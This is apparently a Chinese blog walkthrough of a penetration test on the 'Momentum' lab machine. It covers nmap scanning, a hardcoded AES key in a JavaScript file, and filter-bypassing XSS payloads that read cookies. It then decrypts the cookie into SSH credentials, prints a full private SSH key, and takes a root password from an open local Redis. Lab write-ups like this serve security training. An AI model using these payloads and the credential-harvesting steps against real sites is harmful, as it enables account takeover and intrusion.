大家好,今天是大年初六,也是要重新回归正常的学习工作状态了;这里也是祝大家工作顺利,技术提示;
- 话不多说,还是继续给大家带来一篇渗透测试的文章------
Momentum靶机,希望对大家有所帮助;
文章目录
前置准备
这里我们还是配置好靶机的网卡以及网络设置,然后就开始我们的渗透阶段 (具体步骤可以看往期的文章,最详细的应该是第一篇:DC3靶场主机渗透横向教程(包含详细安装教程):

剩下的步骤也是不再赘述;
Kali的IP地址还是万年不变的:192.168.56.102

信息收集
这里还是推荐大家使用多种工具对目标机器进行信息收集:
bash
nmap -sP 192.168.56.0/24
# 详细信息收集
nmap -sC -sV -A -p- 192.168.56.114
结果如下:


可以得到目标主机IP为:192.168.56.116
具体开放的端口以及服务:

开放端口及服务功能
- 22/tcp open ssh:OpenSSH 7.9p1 Debian 10+deb10u2,用于远程登录和安全文件传输
- 80/tcp open http:Apache httpd 2.4.38,提供Web服务,运行着Momentum站点
- 操作系统:Linux 4.15 - 5.8(Debian 10)
Web服务信息收集
随后我们访问网址: http://192.168.56.116/,得到结果如下:

熟悉一段时间,发现并没有什么可用信息,所以先尝试对其进行Web目录枚举:


可以看到并没有什么有用的信息;
页面和Web目录均无可用信息,接下来我们还有什么思路?
- 回头重新熟悉系统以及扫描的文件;
比如点击页面图片后,发现跳转到另一个页面:

http://192.168.56.116/opus-details.php?id=visor

而输入其他id,也会显示相应的id:

那么其中会不会存在SQL注入呢? 这里用sqlmap等跑了一下,并没有效果:

那接下来就查看一下扫描得到的文件:

发现只有 /js 页面存在内容:

页面内容如下:

bash
function viewDetails(str) {
window.location.href = "opus-details.php?id="+str;
}
/*
var CryptoJS = require("crypto-js");
var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");
console.log(decrypted.toString(CryptoJS.enc.Utf8));
*/
代码分析:
- 首先接收一个字符串 str 拼接到参数 id 后面,跳转到:
opus-details.php?id=xxx- 并且没有做类型检查,数字限制,正则校验,说明参数完全可控;
- 可能存在的漏洞:不安全的直接对象引用IDOR(比如访问id=10的内容),SQL注入等;
- 之前实验过了,都不存在;
- 存在一个固定密钥:
SecretPassphraseMomentum- 假设页面里有加密内容,打开浏览器控制台,引入 CryptoJS,执行命令,就可以解密数据。
bash
CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum")
新知识:这里js文件以及SQL注入等方法并没有发现漏洞;那只能是我自己的知识面不够宽泛;
- 在看了WP后也确实如此,还能存在
XSS漏洞
XSS漏洞发现
随后我也尝试了测试,果然是存在:

数据包内容:

手工测试:


bash
# 可用payload
<D3V/+/oNmoUseOveR%09=%09confirm()>v3dm0s
<A%09oNmOUSeOver%09=%09(confirm)()%0dx>v3dm0s
<htMl%0donPOintEReNTer%0a=%0aa=prompt,a()>
具体的xss语句利用可以看:[第二章] web入门---N1book靶场详细思路讲解(一)
(我有罪,太久没关注XSS,竟然忘记了它。。。)
XSS漏洞利用
Cookie注入
首先我们先获取网页的Cookie数据:
bash
# 获取cookie
<script>alert(document.cookie)</script>
<ScRiPt>alert(document.cookie)</ScRiPt>
# 使用 IMG 事件(绕过 script 过滤)
<img src=x onerror="alert(document.cookie)">
<iMg src=x oNeRrOr="alert(document.cookie)">
结果:cookie=U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt

解密Cookie
之前信息收集时知道使用AES加密对一个字符串进行解密,解密密匙是:SecretPassphraseMomentum
因此找一个可以在线解密AES的网站对cookie进行解密:http://www.jsons.cn/aesencrypt/
得到结果:auxerre-alienum##

SSH登陆系统
之前我们得到目标机器开启了22和80服务,所以我们可以利用的字符串尝试登陆一下:
bash
ssh auxerre@192.168.56.116
auxerre-alienum##
经过尝试,账号密码为:auxerre / auxerre-alienum##

进入后发现两个可疑文件 / 目录:

随后进入到.ssh 目录(看看能否进行SSH密钥登陆,获取root权限)
具体SSH密钥登陆步骤可以看内网横向------VulnStack-4靶场内网横向解析的"Docker服务器逃逸" ------> "写入SSH密钥获取权限" 部分;

bash
auxerre@Momentum:~/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAZSt5qiW
rw/YfYM4vqhw+aAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCwF1phANl9
nXN4UkdKgqgfjxxo2t29UcrnTDKpAnLeZ+qFh5XeSL4J5BzGX1jQn5AXoQzg33kmtEiWlV
akkdisX+jP6r83fgbx10ue2t2rmZa6LZhGL7Me5xi85PAbJMy38uk33iPqHGmTSCyE7ovc
/iBzjEuHwcIivSzrRKu/eMe97Qrp3DiyYAoIbqhPk3CIGu++othCh8aJMNFueHxsWSYEUY
lIS9Qm74qbBaGiUiEb3uWmDlVFEN70hgTXLD1VeG5SA1L3lZWlxKu3n38I4Ti6R84xRG72
xot7OBA/BdTB/LUYm5DME/QNVAz2rBovHAYZQoLUtcwNDiKAWhPxAAAD0OmX8T40GSUsg/
9sSiZ1QU/VkEHrlHMfplL5AB8jTyv+RJmAD1nYyFldg/1Bayy6ns4tOw2lvyU4Esy+/fNu
iGpvjoO5U2C3ZU1/lGM7rTUTDSF5JiaUwDBLIDK6AQttF2lroA3oCUwpnXBYWq0XSl7uub
eQmLZ3NzQY/Az/2WMW8UUlM7QbZ5mfXO5g9VBAUjqc1NC1r5OOgFFXO+UAxhQcVtjb5J5m
WFpEMgMIf1VGnI71uLZdgFKe0gT1LmcU/h0+WsQEJF0Yth602e8Umuj86Zx6nd1v05BYt6
qQuRnCFM7qUfT/BYOnBfqorC+HVahYzH692RObHXqJAIMQM6BiXNr256MvBaQAP/p0PEzn
4obK+mpS4EXW9KVQ85yRJdDCXRtMicxWO2WVdCVEph1HcyT92Z2FseoOmvrx6dErQ3Ga0I
3mTeVV5Z5nREBkky9jpudMV2MnIb3jYrIvFlTczSruWheKWSVTiFDqCHxCiIYq4/+N026M
Yx4sdCRKhONem1QFsYtL/BuTSI3nDzduIwshJ/xSXmfT+26N4Qq+OJ0IEXCnYLehGVPXbs
IRHWPtMGMIhcxcdRvrlRl0yFxw9T3XeAbD5Xp4WYmpcJUvbQbUSNqy3WOCu9y+A2d9seWR
i33pWtwvjn6cnHoq6Rlg9Rx+H/YMIbdBbirH7WZTge95iViXVck/VCfzOolp4f47wcfisi
92a19DRcOKO2uNcw8n8zy8WMXoOY7hOb0+ku6adLtIsgdtxa3c87qtGOzrXVG5RXE5f7hG
BjsUou1MYhy9Cp3dS2ZnpPyMcg8U/KlVMTP91yOPKskOEZ3NH9/KSBRF4ftp1/f7pWixKj
tkOP+62qy186+NLHU1Rt4wirDsjtFH4Kp680HfeWCU/m8jZwtAh49nYCExG3Tu24SnkUbx
FVo1af9LHS2RF4wuY0Fengfw8/7qNS+cSGj/u6JlgKIzwDu84/EjnyjctOJo9z9u0cGHwE
vWjKH7TI9kmRgo4nBPQSYPmO8xwzCmnWFe94mFn6KBIFVd5UrdYlKVd9Uknf+vLme1CD3B
r9eQyHb/ROyZynpzEI6xZoCoUVtnEFqdM5h8A19UrDLkdKzepvLnjyiXz8H0i8weMmNT2h
QehYzidvberv2L6DKHUXfJWdvRQ4ejuJUEXPQdSvmLejJegwDos+hcXiIOk3+mbPQYaaZa
7xPDX5P7SPgyjI2h4AeUijGkOjbaapZW0vgM9JOV09H+rk0h0ADDu4gG9zQNV+oGPz7Dx5
J6aRsryAss246zRovUAuXOy3vQcPU=
-----END OPENSSH PRIVATE KEY-----
auxerre@Momentum:~/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwF1phANl9nXN4UkdKgqgfjxxo2t29UcrnTDKpAnLeZ+qFh5XeSL4J5BzGX1jQn5AXoQzg33kmtEiWlVakkdisX+jP6r83fgbx10ue2t2rmZa6LZhGL7Me5xi85PAbJMy38uk33iPqHGmTSCyE7ovc/iBzjEuHwcIivSzrRKu/eMe97Qrp3DiyYAoIbqhPk3CIGu++othCh8aJMNFueHxsWSYEUYlIS9Qm74qbBaGiUiEb3uWmDlVFEN70hgTXLD1VeG5SA1L3lZWlxKu3n38I4Ti6R84xRG72xot7OBA/BdTB/LUYm5DME/QNVAz2rBovHAYZQoLUtcwNDiKAWhPx auxerre@Momentum
但是其实发现:这密钥就是当前用户的(无用功)
提取
ss获取端口服务
首先,使用sudo su和find / -perm -4000 -type f 2>/dev/null查找可以进行提权的相关信息,但是未发现可以利用的信息。

查看开放的端口:netstat -anotlp |more

那就用ss命令代替:Linux 下用于查看网络连接、端口监听、socket 状态的工具;
| 问题 | 原因 | 解决 |
|---|---|---|
| sudo 不存在 | 未安装 | 如果是 root 不需要 |
| netstat 不存在 | net-tools 未安装 | 用 ss |
| apt 不存在 | 精简系统 | 只能用已有工具 |
结果如下:
bash
ss
ss -anotlp

这里发现了6379端口,那很显然就是Redis服务
Redis服务利用
Redis服务怎么利用获取信息?没关系,之前我的文章都有:内网横向------记录某三层网络渗透及综合渗透(socks代理隧道搭建,nacos未授权,redis上传Webshell)
bash
# 进入系统
redis-cli
# 查看信息
info
keys *


好像得到了root用户密码的健?get rootpass查看内容:

得到密码:m0mentum-al1enum##
bash
# 当前用户账号密码:
auxerre / auxerre-alienum##
# root用户账户密码
root / m0mentum-al1enum##
直接退出Redis服务,su root切换用户:

成功得到最高权限:

成功getshell;
总结
-
XSS 漏洞发现与利用:在输入点构造恶意脚本成功触发执行,确认存在 XSS 漏洞;通过构造数据外带语句获取有效 Cookie,实现会话劫持并接管高权限账户。
-
Cookie 解码与凭证复用:对窃取的会话信息进行解码与结构分析,提取有效认证字段,验证其可用于远程登录系统服务。
-
SSH 登录系统:利用获取的有效凭证通过 22 端口成功登录目标主机,获取普通用户 Shell 权限并开展本地信息收集。
-
ss 端口信息收集:使用
ss -anotlp枚举本机监听端口,确认开放 SSH、Web 以及仅本地监听的 Redis 服务,为后续利用指明方向。 -
Redis 服务利用:连接本地 6379 端口服务,枚举配置信息与数据库内容,结合服务特性尝试进行权限扩展或持久化利用。
期待下次再见;